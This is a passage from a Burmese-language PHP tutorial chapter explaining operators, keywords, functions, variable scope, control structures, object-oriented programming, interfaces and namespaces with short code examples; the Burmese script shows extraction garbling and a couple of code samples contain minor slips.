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.= Operator ိအကြာင့် ထည့်သွငး်လိုက်ြတဲ့စာိတကုိွြ $msg Variable ထဲကြမလူတနဖ်ေိုးကုိြ အစားထိုးမသွားိတာပ့ဲ
ိနာက်ြကြိန တွဲဆက်ြိပးသွားမာှပဖေစ်ပါတယ်။

Comparison Operator  လ့ုိိခါ်တဲ့ တနဖ်ေိုးိတနွှိုငး်ယှဉတ်ဲ့  Operator  လညး် JavaScript  နဲ့အားလုံးအတတူပူါပ။ဲ
PHP မာှ Not Equal-To အတက်ွြ Operator တစ်ခထုပတ်ိုးလာပခငး်သာထးူပခားပါတယ်။ Not Equal-To အတက်ွြ
JavaScript မာှလို != Operator ကုိြသံုးနိုငသ်လို <> Operator ကုိြလညး် အသံုးပပုနိုငပ်ါတယ်။ ကွြာပခားချက်ြိတာ့
မရေှိ ပါဘးူ။ အလပုလ်ပုပ်ုံအတတူပူါပ။ဲ နစ်ှသက်ြရော Operator ကုိြအသံုးပပုနိုငပ်ါတယ်။

Logical  Operator  လ့ုိိခါ်တဲ့  AND  (&&), OR (||),  NOT (!)  တို့လညး်   JavaScript  နဲ့အတတူပူါပ။ဲ
ထးူပခားသွားတာကြ AND နဲ့  OR  တို့အတက်ွြ and, or  ဆုိတဲ့  Keyword  နဲ့လညး် အသံုးပပုနိုငပ်ခင်းပဖေစ်ပါတယ်။
ဥပမာ - 

if($x == $y && $x == 5)

(သုိမ့ဟတု်)

if($x == $y and $x == 5)

နစ်ှသက်ြရောပုံစံနဲ့ိ ရေးသားနိုငပ်ါတယ်။  OR အတက်ွြလညး် အလားတပူါပဲ - 

if($x == $y || $x == 5)

(သုိမ့ဟတု်)

if($x == $y or $x == 5)

နစ်ှသက်ြရောပုံစံနဲ့ ိရေးသားနိုငပ်ါတယ်။

မတ်ှချကြ်  ။ ။ Comment  ိတွ Code  ထဲမာှထည့်သငွး်ဖေို့အတွကြ် တစ်ိ အကြာငး်တညး်ဆုိရေင်  // Operator  ကြိုသုံးနိုငပ်ပးီ  တစ်
ိအကြာငး်ထကြ်  ပိုတ့ဲမတ်ှချကြ်ိ တွကြို  /* အဖေငွ့်နဲ့  */ အတွငး်မာှိရေးသားနိုငပ်ါတယ။်  ဒါလညး်  JavaScript  နဲ့အတူတူပါပ။ဲ
ထူးပခားချကြအ်ိနနဲ့ မတ်ှချကြက်ြ တစ်ိ အကြာငး်တညး်ဆုိရေင ် // အစား  # Operator ကြိုလညး် အသုံးပပုနိုငပ်ါတယ။် 

PHP 7 မာှ Spaceship Operator ( <=> ) လိုိ့ ခါ်တဲ့ Operator အသစ်တစ်ခု ပါဝငလ်ာပါတယ်။ ဒ ီOperator ကြ 
ိပးလိုက်ြတဲ့ တနဖ်ေိုးနစ်ှခကုိုြ နှိုငး်ယှဉပ်ပးီ ညီရေင ်0, ိရေှ့တနဖ်ေိုးကကီြးရေင ်1 နဲ့ ိနာက်ြတနဖ်ေိုး ကကီြးရေင် -1 ကုိြ ပပန်ိ ပးပါ
တယ်။ Ruby Programming Language ကုိြ ိလလ့ာဖေးူသူိတတွဲ့ ဒ ီOperator နဲ့ ရေငး်နှးီနိုငပ်ါတယ်။ မိလ့လာဖေးူ
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သူိတ ွအတက်ွြိတာ ့နညး်နညး်ထးူဆနး်နိုငပ်ါတယ်။ ဥပမာ -

echo 5 <=> 5; # => 0
echo 6 <=> 5; # => 1
echo 5 <=> 6; # => -1

ပထမလိုင်းမာှ 5 နဲ့ 5 ညီိ နတဲ့အတက်ွြ 0 ကုိြ ပပန်ိ ပးမာှပဖေစ်ပါတယ်။ ဒတုယိလိုင်းမာှိတာ ့ိရေှ့တနဖ်ေိုး 6 ကြ ိနာက်ြ
တနဖ်ေိုး 5 ထက်ြကကီြးလို့ ရေလဒအ်ပဖေစ် 1 ကုိြပပန်ိ ပးမာှ ပဖေစ်ပါတယ်။ ိနာက်ြဆံုးလိုက်ြမာှိတာ ့ိနာက်ြတနဖ်ေိုးကြ ကကီြးတဲ့
အတက်ွြ -1 ကုိြ ရေလဒအ်ပဖေစ် ပပန်ိ ပးမာှပ ဲပဖေစ်ပါတယ။် ဒီ Operator ဟာ PHP 7 ိရောက်ြမ ှစတငပ်ါဝငလ်ာတာ ပဖေစ်
လို့ PHP 5 Version ိတမွာှ အလပုလ်ပုမ်ာှ မဟတုပ်ါဘးူ။

ိနာက်ြထပ ်သတပိပုသင့်တဲ့ Operator ကြိတာ ့null coalescing operator ပဖေစ်ပါတယ်။ JavaScript ရေဲ့  Default 
Operator နဲ့ အလပုလ်ပုပ်ုံဆငပ်ပးီ Question Mark နစ်ှခတုွဲ (??) ိရေးရေပါတယ်။ ဥပမာ -

$user = $_GET['user'] ?? 'nobody'

$_GET['user'] ဆုိတဲ့တနဖ်ေိုးရေှိရေင် သံုးပပးီ မရေှိရေင ်nobody ကုိြ Default အပဖေစ် အစားထိုး သံုးိပးဖေို ့ိရေးသား
ထားပခငး် ပဖေစ်ပါတယ်။ ဒ ီOperator ဟာလညး် PHP 7 မာှ ပါဝငလ်ာတဲ့ Operator အသစ်ပဖေစ်ပပးီ PHP 5 Version
ိတမွာှ အလပုလ်ပုမ်ာှ မဟတုပ်ါဘးူ။

6.18 - Keywords
PHP  မာှ  Variable  ိတကုိွြ  Dollar  Sign  နဲ့စိပးရေတဲ့အတက်ွြ  Build-in  Keyword  ိတနွဲ့  အမညတ်ူိ နလို့
ပပဿနာ ပဖေစ်ရေတာမျို းကုိြ ပစူရောမလိို တာပ့ါဘးူ။ ဥပမာ if ဟာ Language Keyword ပဖေစ်ိပမယ့် ကြျွန်ိ တာတ်ို့
ကြ  $if ဆုိတဲ့  Variable  ကုိြ  အသံုးပပုတဲ့အတက်ွြ  ဘာပပဿနာမရှေှိမာှမဟတုပ်ါဘူး။  ဒါိပမယ့်  Function  ိတွ
ိအကြပငာသတမ်တှတ်ဲ့အခါ မာှိတာ့  Keyword ိတနွဲ့ အမညတ်ရူေငသ်တမ်တှလ်ို့ရေမာှမဟတုပ်ါဘးူ။ PHP Keyword
စာရေငး်ကုိြ ိဖောပ်ပိပးလိုက်ြပါတယ်။

__halt_compiler, abstract, and, array, as, break, callable, case, catch, 
class, clone, const, continue, declare, default, die, do, echo, else, 
elseif, empty, enddeclare, endfor, endforeach, endif, endswitch, 
endwhile, eval, exit, extends, final, for, foreach, function, global, 
goto, if, implements, include, include_once, instanceof, insteadof, 
interface, isset, list, namespace, new, or, print, private, protected, 
public, require, require_once, return, static, switch, throw, trait, try,
unset, use, var, while, xor
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6.19 - Control Structure
PHP  မာှ  Function  ိတ ွသတမ်တှ်ိ အကြပငာဖေို့အတက်ွြလညး်  function Keyword  ကုိြပဲ  အသံုးပပုိအကြပငာရေပါ
တယ်။ JavaScript  နဲ့အတတူပူါပ။ဲ  Dynamic Type ပဖေစ်လို့  Return Type ိတဘွာိတ ွပုံမနှ်အားပဖေင့် သတမ်တှ်
ိပးဖေို့မလိုပါဘးူ။ ဥပမာ -

function add($a, $b) {
  return $a + $b;
}

add() လိုိ့ ခါ်တဲ့  Function  တစ်ခု ိအကြပငာလိုက်ြပခငး်ပဖေစ်ပပီး  $a နဲ့  $b ဆုိတဲ့  Parameter  နစ်ှခု  ပါဝငပ်ါတယ်။
add() Function  ကြ  $a နဲ့  $b ကုိြ  ိပါငး်ပပီး  return ပပန်ိ ပးမာှပဖေစ်ပါတယ်။  Function Parameter  ိတွ
သတမ်တှတ်ဲ့အခါ Default Value ကုိြ တစ်ခါတညး် ိအကြပငာသတမ်တှန်ိုငပ်ါတယ်။ ဥပမာ -

function add($a, $b = 0) {
  return $a + $b;
}

နမနူာအရေ Function Parameter $b အတက်ွြ 0 ကုိြ Default Value အပဖေစ် သတမ်တှ်ိ ပးထားပခငး် ပဖေစ်ပါတယ်။
ဒါိအကြာင့်  Function  ကုိြ ိခါ်ယူစဉ်  $b အတက်ွြ တနဖ်ေိုးမိပးခဲ့ရေင်  0 ကုိြ  $b အတက်ွြ တနဖ်ေိုးအပဖေစ် အသုံးပပုပပးီ
အလပုလ်ပု ်ိပးသွားမာှပ ဲပဖေစ်ပါတယ်။

PHP 7 မာှိတာ့ Scalar Type Deceleration နဲ့ Return Type Declaration ဆုိတဲ့ ပဖေည့်စွက်ြချက်ြနစ်ှခု ပါဝငလ်ာ
ပါတယ်။  အဓပိ္ပါယ်ကြ  Function  Parameter  ိတအွတက်ွြ  Data  Type  ကြန့်သတလ်ိုကြ ကြန့်သတန်ိုငမ်ာှပဖေစ်ပပးီ
Return Type ကုိြလညး် ကြန့်သတလ်ိုကြ ကြန့်သတန်ိုငမ်ာှပ ဲပဖေစ်ပါတယ်။ ဥပမာ -

function add(int $a, int $b): int {
  return $a + $b;
}

နမနူာအရေ Parameter ိတကုိွြ int $a နဲ့ int $b လို့ ိအကြပငာထားတဲ့အတက်ွြ add() Function ကုိြ ိခါ်ယူတဲ့
အခါ Integer (ကိြနး်ပပည့်) ိတကုိွြသာ လက်ြခံိ တာမ့ာှ ပဖေစ်ပါတယ်။ အလားတပူ ဲFunction ိအကြပငာချက်ြမာှ : int
ဆုိတဲ့ သတမ်တှခ်ျက်ြလညး် ပါဝငလ်ို့ ဒီ Function ကြ return ပပန်ိ ပးတဲ့ တနဖ်ေိုးဟာလညး် Integer ပဲ ပဖေစ်ရေိတာမ့ာှ
ပဖေစ်ပါတယ်။ PHP 7 မာှ Function ိတွိ အကြပငာတဲ့အခါ ဒအီတိုငး် ိရေးရေမယ်လို့ ိပပာတာ မဟတုပ်ါဘးူ။ ဒအီတိုငး်
Data Type  ကြန့်သတပ်ပီး ိရေးလိုကြ ိရေးနိုငတ်ယ်လို့ ိပပာတာပါ။  int အစား  float (ဒဿမကိြနး်),  String
(စာ) နဲ့ Array တို့ကုိြလညး် Data Type အပဖေစ် အသံုးပပုနိုငပ်ါတယ်။
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Function  ိတွိ ရေးသားတဲ့အခါမာှ  Variable Scope  ကုိြ သတပိပုရေပါမယ။်  PHP  ဟာလညး် အပခား  Language
ိတလွိုပဲ  Function  အတငွး်မာှ ိအကြပငာသတမ်တှပ်ပးီ အသံုးပပုထားတဲ့  Variable  ိတဟွာ  Local Variable  ိတွ
ပဖေစ်ပပးီ  သက်ြဆုိငရ်ော  Function  နဲ့သာ  သက်ြဆုိငပ်ါတယ။်  Function  ရေဲ့ ပပငပ်နဲ့  အပခား  Function  များကြရေယူ
အသံုးပပုနိုငပ်ခငး်မရေှိပါဘးူ။ Function အပပငဘ်က်ြမာှ ိအကြပငာသတမ်တှပ်ပးီ အသံုးပပုထားတဲ့ Variable ိတကွြိတာ့
Global  Variable  ိတပွဖေစ်ပပးီ  မညသ်ည့်  Function  ကြမဆုိရေယူ  အသုံးပပုနိုငပ်ါတယ်။  ထးူပခားချက်ြကြိတာ့
Global Variable  ကုိြ  ရေယူအသံုးပပုိတာမ့ယ်ဆုိရေင်  အသံုးပပုမာှပဖေစ်ိအကြာငး်  global Keyword  နဲ့  Function
အတငွး်မာှ ိအကြပငာိပးရေပခင်းပပဲဖေစ်ပါတယ်။ ဥပမာ -

$str = "Myanmar";
function say_hello() {
  echo "Hello $str";
}

say_hello(); # => Hello

function say_welcome() {
  global $str;
  echo "Welcome to $str";
}

say_welcome(); # => Welcome to Myanmar

say_welcome() Function အတငွး်ကြ global $str ဆုိတာဟာ $str အမညရ်ေ Global Variable တစ်ခု
ိအကြပငာသတမ်တှပ်ခငး်မဟတုပ်ါဘးူ။ Global Variable ပဖေစ်တဲ့ $str ကုိြ ရေယူအသံုးပပုပါိတာမ့ယ်လို့ ိအကြပငာပခငး်
ပဖေစ်ပါတယ်။

PHP  မာှလညး်  JavaScript  လို  Nameless  Function  ိတ ွအသံုးပပုနိုငပ်ါတယ်။  အခန်း  (၅) မာှ  Nameless
Function  ိတရွေဲ့  သိဘာသဘာကုိြ ိလ့လာခဲ့ပပးီ ပဖေစ်ပါတယ်။  PHP မာှ အလားတူ ိရေးနညး်ိရေးဟနက်ြို အသံုးပပု
နိုငပ်ါတယ။် ဥပမာ - 

function add($a, $b, $fn) {
  echo $a + $b;
  $fn();
}

add(24, 13, function() {
  echo “Done adding 24 and 13”;
});

နမနူာအရေ  add()  Function  ကုိြ  ိခါ်ယူစဉမ်ာှ  တတယိ  Parameter  အပဖေစ်  Nameless  Function  တစ်ခကုိုြ
Callback အိနနဲ့ အလပုလ်ပု်ိ ပးဖေို ့ထည့်သွင်းိပးလိုက်ြပခငး်ပဲ ပဖေစ်ပါတယ။်



Professional Web Developer - အခန်း (၆) PHP Basic 217

if, switch, for, while, do-while အစရေှိတဲ့ အိပခခံ Control Structure ိတွိ ရေးသားအသံုးပပု ပုံ
မာှ  PHP  နဲ့  JavaScript  တို့ အတအိကြျတညူပီါတယ်။ ထူးပခားချက်ြကြိတာ့  Code Block  ိတကုိွြ တနွ့်ကွြငး်များ
အစား Template ိရေးသားပုံနဲ့ိ ရေးသားနိုငပ်ခင်းပဖေစ်ပါတယ်။ ဥပမာ  - 

if($auth) {
  // do something
}

(သုိမ့ဟတု်)

if($auth):
  // do something
endif;

တနွ့်ကွြင်းအဖေငွ့်အစား  Colon (:)  အသံုးပပုပပးီ တနွ့်ကွြငး်အပတိအ်စား  if အတက်ွြ  endif, switch အတက်ွြ
endswitch, for အတက်ွြ endfor, while အတက်ွြ endwhile စသပဖေင့် အသံုးပပုနိုငပ်ခငး် ပဖေစ်ပါတယ။်
တနွ့်ကွြင်းိတကွြ PHP Code သက်ြသက်ြိရေးသားချနိမ်ာှ ပပဿနာသိပမ်ရေှိိ ပမယ့် PHP Code ိတကုိွြ HTML ိတွ
နဲ့ိ ရောိရေးသားတဲ့အခါ မျက်ြစိရှုပစ်ရော ပဖေစ်လာတက်ြပါတယ်။ ိနာက်ြထပထ်းူပခားချက်ြကြိတာ့  foreach() Loop
ပဖေစ်ပါတယ်။ Array ိတကုိွြ Loop လပုဖ်ေို့အတက်ွြ အသံုးပပုပါတယ်။ ဥပမာ - 

$arr = array("foo" => "Apple", "bar" => "Orange", "fiz" => "Mango");
foreach($arr as $key => $val) {
  echo "$val is $key.";
}

# => Apple is foo.
# => Orange is bar.
# => Mango is fiz.

$arr ိနရောမာှ Loop လုပ်ိ စလိုတဲ့ Array ကုိြိပးရေမာှပဖေစ်ပါတယ်။ $key Variable ထဲမာှ လက်ြရေှိအလပုလ်ပု်ိ န
တဲ့ Index ရေှိမာှပဖေစ်ပပးီ $val Variable ထမဲာှိတာ့ လက်ြရေှိအလပုလ်ပု်ိ နတဲ့ Value ရေှိိ နမာှပဖေစ် ပါတယ်။ $key နဲ့
$val အစား နစ်ှသက်ြရော Variable အမညန်ဲ့အစားထိုးအသံုးပပုနိုငပ်ါတယ်။ as Keyword နဲ့ => Operator တို့ကုိြ
သာ နမနူာမာှ ိဖောပ်ပထားတဲ့အတိုင်း  ိနရောမနှ်ိ အာငသံု်းိပးရေငရ်ေပါပပ။ီ
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6.20 - Object-oriented Programming in PHP
PHP  ဟာ  Language  အိပခခအံရေ  Imperative Language  တစ်ခပုဖေစ်ိပမယ့်  OOP  ပုံစံနဲ့လညး်ိရေးနိုငပ်ါတယ်။
Class ိတကုိွြ class Keyword သံုးပပီး အခလုိုတည ်ိဆာက်ြနိုငပ်ါတယ။်

class Animal {
  var $legs, $wings; 
  
  # constructor 
  function __construct($legs, $wings) { 
  $this->legs = $legs; 
  $this->wings = $wings; 
  } 

  function walk() { 
  # do something 
  } 

  static function info() { 
return "An Animal";

  }
  private function calcSpeed() { 
  # do something 
  }
}

__construct() Function ကုိြ Constructor Method ိအကြပငာသတမ်တှဖ်ေို့အတက်ွြ သံုးရေပါတယ်။ PHP OOP
မာှ သီးပခားသတမ်တှမ်ထားရေင်  Property ိတ ွMethod ိတအွားလုံးရေဲ့  Access Control Modifier ကြ Public
ပဖေစ် ပါတယ်။ နမနူာမာှ  info() Method  ကုိြိတာ့  static  လို့ သတမ်တှထ်ားတဲ့ အတက်ွြ  Class Name  ကြိန
တိုက်ြ ရုိက်ြ ိခါ်ယူအသံုးပပုနိုငမ်ာှပဖေစ်ပါတယ်။  calcSpeed() Method  ကုိြ ိတာ့  private လို့သတမ်တှထ်ား
လို့ Object ကြ တဆင့်ိ ခါ်ယူအသံုးပပုနိုငမ်ာှမဟတုပ်ါဘူး။ ိဖောပ်ပထားတဲ့ Class ကုိြ အိပခခပံပးီ Object ိတကုိွြအခု
လိုတည်ိ ဆာက်ြ နိုငပ်ါတယ်။

$unicorn = new Animal(4, 2);
echo $unicorn->legs; # => 4
echo Animal::info(); # => "An Animal"
echo $unicorn->calcSpeed(); # => Fatal error: Call to private method ...

Object  တည်ိ ဆာက်ြဖေိုအ့တက်ွြ  အပခား  OOP  Language  ိတလွိုပဲ  new Keyword  ကုိြ  အသံုးပပုရေပါတယ်။
(Object  Operator)  -> သံုးပပီး  Object  ရေဲ့  Property  ိတ ွ Method  ိတကုိွြ  ရေယူအသံုးချနိုငပ်ါတယ်။  Java,
JavaScript  စတဲ့ OOP Language ိတမွာှိတာ့  Dot Operator (.)  ကုိြ  Property  ိတ ွMethod ိတ ွိခါ်ယူဖေို့
အသံုးပပုိလရ့ေှိအကြပါတယ်။   PHP  မာှိတာ့  (Object  Operator)  -> ကုိြ  အသံုးပပုရေပခငး်ပဖေစ်ပါတယ်။  Class
Method info() ကုိြ Class Name ကြိနတစ်ဆင့် ရေယူအသံုးချဖေို့အတက်ွြ (Scope Resolution Operator) ::
ကုိြ အသံုးပပုရေပါတယ်။ calcSpeed() Private Method ကုိြ ိခါ်ယူဖေို့ ကကိြုးစားရေင်ိ တာ့ ိခါ်ယူခငွ့မ်ရေှိလို့  PHP
ကြ Error အပဖေစ် ိဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ။်
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OOP ရေဲ့  အိပခခသံိဘာသဘာဝ (၅) ချက်ြရေှိတယ်လို့ဆိနုိုငပ်ါတယ်။ Object, Inheritance, Information Hiding,
Polymorphism  နဲ့  Interface  တို့ပပဲဖေစ်ပါတယ်။ စာဖေတသူ်အိနနဲ့ အ့ဲဒီ  OOP  အိပခခံ သိဘာသဘာဝိတကုိွြ မ
သိိသးဘးူဆုိရေင် Rockstar Developer ရေဲ့  အခန်း (၃) မာှ ိလ့လာနိုငပ်ါတယ။် ဒီိ နရောမာှိတာ့ OOP အိပခခံ သိ
ပပးီသူိတအွတက်ွြ၊ PHP မာှလညး် အ့ဲဒီ OOP နညး်စနစ်ိတကုိွြ အသံုးပပုနိုင်ိ အကြာငး် ိဖောပ်ပလိုရေငး် ပဖေစ်ပါတယ်။ 

အထက်ြမာှနမနူာိဖောပ်ပခဲ့သလို  PHP  မာှ  Class  ိတကုိွြသံုးပပးီ  Object  ိတတွည်ိ ဆာက်ြနိုငသ်လို၊  Private,
Public, Static စတဲ့ Access Control Modifier ိတကုိွြသံုးပပးီ Information Hiding လုပ်ိ ဆာငခ်ျက်ြရေရေှိနိုငပ်ါ
တယ်။  Inheritance  အတက်ွြ  extends Keyword  သံုးပပးီ  Class Inherit  လပု်ိ ဆာင် ချက်ြကုိြ ရေရေှိနိုငပ်ါတယ်။
ဥပမာ - 

class Dog extends Animal 
{ 
  # define methods and properties 
}

နမနူာအရေ  Dog Class  ဟာ  Animal Class  ကုိြ  Inherit  လုပလ်ိုက်ြပခငး်ပဖေစပ်ါတယ်။  PHP  မာှ  Multiple
Inheritance  ကုိြ  ခငွ့်မပပုပါဘးူ။  Static  Polymorphism  လုပ်ိ ဆာငခ်ျက်ြအတက်ွြ  အဓကိြကြျတဲ့  Function
Overload လပု်ိ ဆာငခ်ျက်ြိတာ့  PHP မာှ မပါဝငပ်ါဘးူ။  PHP မာှ  Function တစ်ခကုိုြ ိအကြပငာသတမ်တှပ်ပးီရေင၊်
Function Signature တသူညပ်ဖေစ်ိစ၊ မတသူညပ်ဖေစ်ိစ ိနာက်ြတစ်ကကိြမ် (အမညတ် ူFunction) ထပမ်ံိ အကြပငာလို ့မ
ရေိတာပ့ါဘးူ။  ဒါိပမယ့်  func_num_args() နဲ့  func_get_arg() Function  ိတကုိွြသံုးပပးီ  Static
Polymorphism လုပ်ိ ဆာငခ်ျက်ြကုိြ တပုနိုငပ်ါတယ်။ ဥပမာ -

function rectangle() { 
    $len = func_num_args(); 
    if($len == 1) { 
        $width = func_get_arg(0); 
        return $width * $width; 
    } 
    if($len == 2) { 
        $width = func_get_arg(0); 
        $height = func_get_arg(1); 
        return $width * $height; 
    } 
} 

နမနူာအရေ  rectangle() Function  ဟာ ိခါ်ယူစဉ်ိ ပးလိုက်ြတဲ့  Parameters  အိရေအတက်ွြိပါ်မတူညပ်ပးီ ပုံစံ
နစ်ှမျို း  အလပုလ်ပု်ိ ပးမာှပဖေစ်ပါတယ်။  Function  Overload  လပု်ိ ဆာငခ်ျက်ြမပါဝင်ိ ပမယ့်  Function  တစ်ခု
တညး်ကြ အသံုးပပုတဲ့  Function Signature  ိပါ်မတူညအ်လပုလ်ပု်ိ ပးမာှမို့  Polymorphism  လုပ်ိ ဆာငခ်ျက်ြကုိြ
ရေရေှိပခငး်ပပဲဖေစ်ပါတယ်။ Dynamic Polymorphism လပု်ိ ဆာငခ်ျက်ြရေရေှိဖေို့အတက်ွြိတာ့ Interface ကုိြအသံုးပပုနိုငပ်ါ
တယ်။
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Interface  တစ်ခုိ အကြပငာဖေို့အတက်ွြ  interface Keyword  ကုိြသံုးရေပါတယ်။  ိအကြပငာထားတဲ့  Interface  ကုိြ
အိပခခတံဲ့ Class ိတ ွတည်ိ ဆာက်ြဖေို့အတက်ွြ implements Keyword ကုိြ အသံုးပပုရေပါတယ်။ 

interface iInputBox
{
    public function getValue();
    public function setValue($value);
}

class TextBox implements iInputBox
{
    private $value;
    public function getValue() {
        return $this->value;
    }
  
    public function setValue($value) {
        $this->value = $value;
    }
}

class PasswordBox implements iInputBox
{
    private $value;
    public function getValue() {
        $len = strlen($this->value);
        for($i=0; $i<$len; $i++) {
        $result += "*";
        }
        
        return $result;
    }
 
    public function setValue($value) {
        $this->value = $value;
    }
}

နမနူာအရေ TextBox နဲ့ PasswordBox လ့ုိိခါ်တဲ့ Class နစ်ှခကုိုြ iInputBox Interface ကြသတမ်တှထ်ားတဲ့
သတမ်တှခ်ျက်ြအတိုငး်  implements  လုပယူ်ပပးီ  တည်ိ ဆာက်ြထားပခငး်ပဖေစ်ပါတယ။်  ဒါိအကြာင့်  TextBox  နဲ့
PasswordBox  တို့ကုိြ အသံုးပပု ပဖေစ်ိပါ်လာတဲ့  Object  ိတဟွာ  Object Type  မတူိ သာပ်ငားလညး်၊  Interface
တစ်ခတုညး်ကြိန အတတူူ  ဆင်းသက်ြလာပခငး်  ပဖေစ်တဲ့အတက်ွြ အပပနအ်လနှ်  ဖေလယ်ှအသံုးပပုနိုငတ်ဲ့  Object  ိတွ
ပဖေစ်အကြမာှပ ဲပဖေစ်ပါတယ်။

အပခား PHP OOP Features ိတကုိွြ ိအာက်ြပါလပိစ်ာမာှ ဆက်ြလက်ြိလလ့ာနိုငပ်ါတယ်။

http://php.net/manual/en/language.oop5.php

http://php.net/manual/en/language.oop5.php
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6.21 - Namespace
PHP  ိရေးထုံးိတထွမဲာှ  Namespace  ဟာလညး်  ထည့်သွငး်  မတှသ်ားသင့်တဲ့  လပု်ိ ဆာငခ်ျက်ြ  ပဖေစ်ပါတယ်။
Namespace ကုိြ Code ိတ ွအုပစု်ဖေွဲ့ဖေို့ သံုးတယ်လို့ မတှန်ိုငပ်ါတယ်။ ပုံမနှအ်ားပဖေင့်  PHP မာှ အမညတ်ူ Function
ိတ ွ Class  ိတ ွိအကြပငာအသုံးပပုလို့  မရေပါဘးူ။  ကုိြယ်ိပးတဲ့  Function  အမည၊်  Class  အမညက်ြ  PHP Core
Function ိတ၊ွ Core Class ိတနွဲ့ တလူို့မရေပါဘးူ။ ကုိြယ်ိ ပးတဲ့ Function အမည် လုိအပလ်ို့ ထည့်သွငး်အသံုးပပု
ထားတဲ့  Third-party  Library  ကြ  အသံုးပပုထားတဲ့  Function  ိတ၊ွ  Class  ိတနွဲ့  အမညတ်လူို့  မရေပါဘးူ။
Namespace  ကြ PHP  မာှ ရေှိိ နတဲ့  Function  ိတ ွအမညတ်လူို့ မရေဘးူဆုိတဲ့ပပဿနာကုိြ ိပဖေရေငှး်ိပးလိုက်ြပခငး်ပဲ
ပဖေစ်ပါတယ်။ ဥပမာ -

# file1.php
namespace foo {
  function add() {
     echo “add in foo namespace”;
  }
}

namespace bar {
  function add() {
    echo “add in bar namespace”;
  }
}

# file2.php
include(“file1.php”);

foo\add(); # => add in foo namespace
bar\add(); # => add in bar namespace

နမနူာမာှ ိလလ့ာအကြည့်ရေင်ိ တာ့  add() Function နစ်ှကကိြမ် ိအကြပငာထားတာကုိြ ိတွ့ရေပါလမိ့်မယ်။ Namespace
မတတူဲ့အတက်ွြ  အခလုို  ိအကြပငာအသံုးပပုနိုငပ်ခငး်ပဲ  ပဖေစ်ပါတယ်။  ကုိြယ်ပိုင်  Namespace  ိအာက်ြမာှဆုိရေင်  Core
Function ိတ ွThird-party Library Function ိတနွဲ့ အမညတ်ရူေငလ်ညး် ပပဿနာ မရေှိိ တာပ့ါဘးူ။ 

Namespace မပါတဲ့ ပပငပ်ကြ Code ိတကုိွြ Global Space လ့ုိိခါ်ပါတယ်။ Global Space ကြိန သက်ြဆိုငရ်ော
Namespace အတငွး်ကြ Code ိတကုိွြ ိခါ်ယူအသံုးပပုလိုတဲ့အခါ သက်ြဆုိငရ်ော Namespace အမညက်ြိနတစ်ဆင့်
ိခါ်ယူရေပါတယ်။ ဒါိအကြာင့် အထက်ြကြ နမနူာမာှ foo\add() နဲ့ bar\add() ဆုိပပီး ိခါ်ယူအသံုးပပု ထားရေတာ
ပ ဲပဖေစ်ပါတယ်။ Namespace တရူေင ်ိတာ ့တုိက်ြရုိက်ြိခါ်လို့ ရေပါတယ်။ ဥပမာ -

# file1.php
namespace foo {
  function add() {
    echo “add in foo namespace”;
  }
}



Professional Web Developer - အခန်း (၆) PHP Basic 222

# file2.php
include(“file1.php”);

namespace foo {
  add(); # => add in foo namespace
}

file2.php အတငွး်မာှ add() Function ကုိြ တိုက်ြရုိကြ်ိ ခါ်ယူအသံုးပပုထားတာကုိြ ိတွ့ရေမာှ ပဖေစ်ပါတယ်။ တညူီ
တဲ့  Namespace  အတငွး်မာှ ရေှိလိုပ့ဲ  ပဖေစ်ပါတယ်။  Namespace  ိတ ွိအကြပငာ သတမ်တှတ်ဲ့အခါ တနွ့်ကွြင်းိတ ွမ
ထည့်ပလဲညး် ိရေးလို့ရေပါတယ်။ ဥပမာ -

namespace foo;
function add() {
  echo “add in foo namespace”;
}

function sub() {
  echo “sub in foo namespace”;
}

namespace bar;
function add() {
  echo “add in bar namespace”;
}

ပပးီိတာ ့Namespace ကုိြ အဆင့်ဆင့်လညး် ိပးလို့ ရေပါိသးတယ်။ ဥပမာ -

# file1.php
namespace foo\bar {
  function add() {
    echo “add in foo\bar namespace”;
  }
}

namespace foo\buz {
  function add() {
    echo “add in foo\buz namespace”;
  }
}

namespace foo {
  bar\add(); # => add in foo\bar namespace
  buz\add(); # => add in foo\buz namespace
}

# file2.php
include(“file1.php”);
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fiz\buz\add(); # => add in foo\buz namespace

နမနူာကုိြ ိလလ့ာအကြည့်ရေင်  foo Namespace ထဲမာှ သူရေဲ့  Sub-Namespace ပဖေစ်တဲ့  bar နဲ့  buz တို့ရေဲ့  add()
Function  ကုိြ  သက်ြဆိငုရ်ော  Sub-Namespace  ကြိနတစ်ဆင့်  ိခါ်ယူအသံုးပပုနိုငတ်ာကုိြ  ိတွ့ရေမာှ  ပဖေစ်ပါတယ်။
Global  Space  မာှိတာ့  ပငမ်  Namespace  ိရော  Sub-Namespace  တို့ပါ  အပပည့်အစံုပါဝင်ိ အာင်  ိခါ်ယူပပးီ
အသံုးပပုရေတာကုိြ သတပိပုရေမာှ ပဖေစ်ပါတယ်။  Namespace ိတကုိွြ အတိုိ ကြာက်ြအမည်ိ ပးပပးီိတာလ့ညး် အသံုးပပု
လို့ ရေပါိသးတယ်။ ဥပမာ -

# file1.php
namespace foo\bar;
function add() {
  echo “add in foo\bar namespace”;
}

# file2.php
include(“file1.php”);

use foo\bar as fb;

fb\add(); # => add in foo\bar namespace

နမနူာမာှ foo\bar Namespace ကုိြ use Keyword အကူြအညနီဲ ့fb လ့ုိ အတိုိ ကြာက်ြ နာမည်ိ ပးလိုက်ြပခင်း 
ပဖေစ်ပါတယ်။ ဒါိအကြာင့် fb\add() လို့ ိခါ်ယူပခငး်ဟာ foo\bar\add() လ့ုိ ိခါ်ယူပခငး်နဲ့ အတတူပူ ဲပဖေစ်ပါ
တယ်။ Namespace နဲ့ ပတသ်က်ြရေင ်ိနာက်ြဆံုးအိနနဲ့ မတှသ်ားသင့်တဲ့ အချက်ြိတကွြိတာ ့-

1. namespace Keyword ိအကြပငာချက်ြဟာ တစ်ပခား Code ိတမွလာခင် အိပါ်ဆံုးမာှ ရေှိရေပါတယ်။
2. namespace ိအကြပငာထားရေင ်namespace ပပငပ်မာှ တစ်ပခား Code ိတ ွိရေးလို့မရေပါဘးူ။ ဒါိအကြာင့် 

အထက်ြကြ Code နမနူာိတမွာှ namespace ပပငပ် Global Space မာှ ိရေးချငတ်ဲ့ Code ိတကုိွြ 
namespace ိအကြပငာထားတဲ့ ဖေိုငထ်မဲာှမိရေးပ၊ဲ ိနာက်ြဖေိုငတ်စ်ခနုဲ ့ခွဲိ ရေးတဲ့ပုံစံ နမနူာိတ ွိပးခဲ့တာပါ။

6.22 - Frequently Used Functions
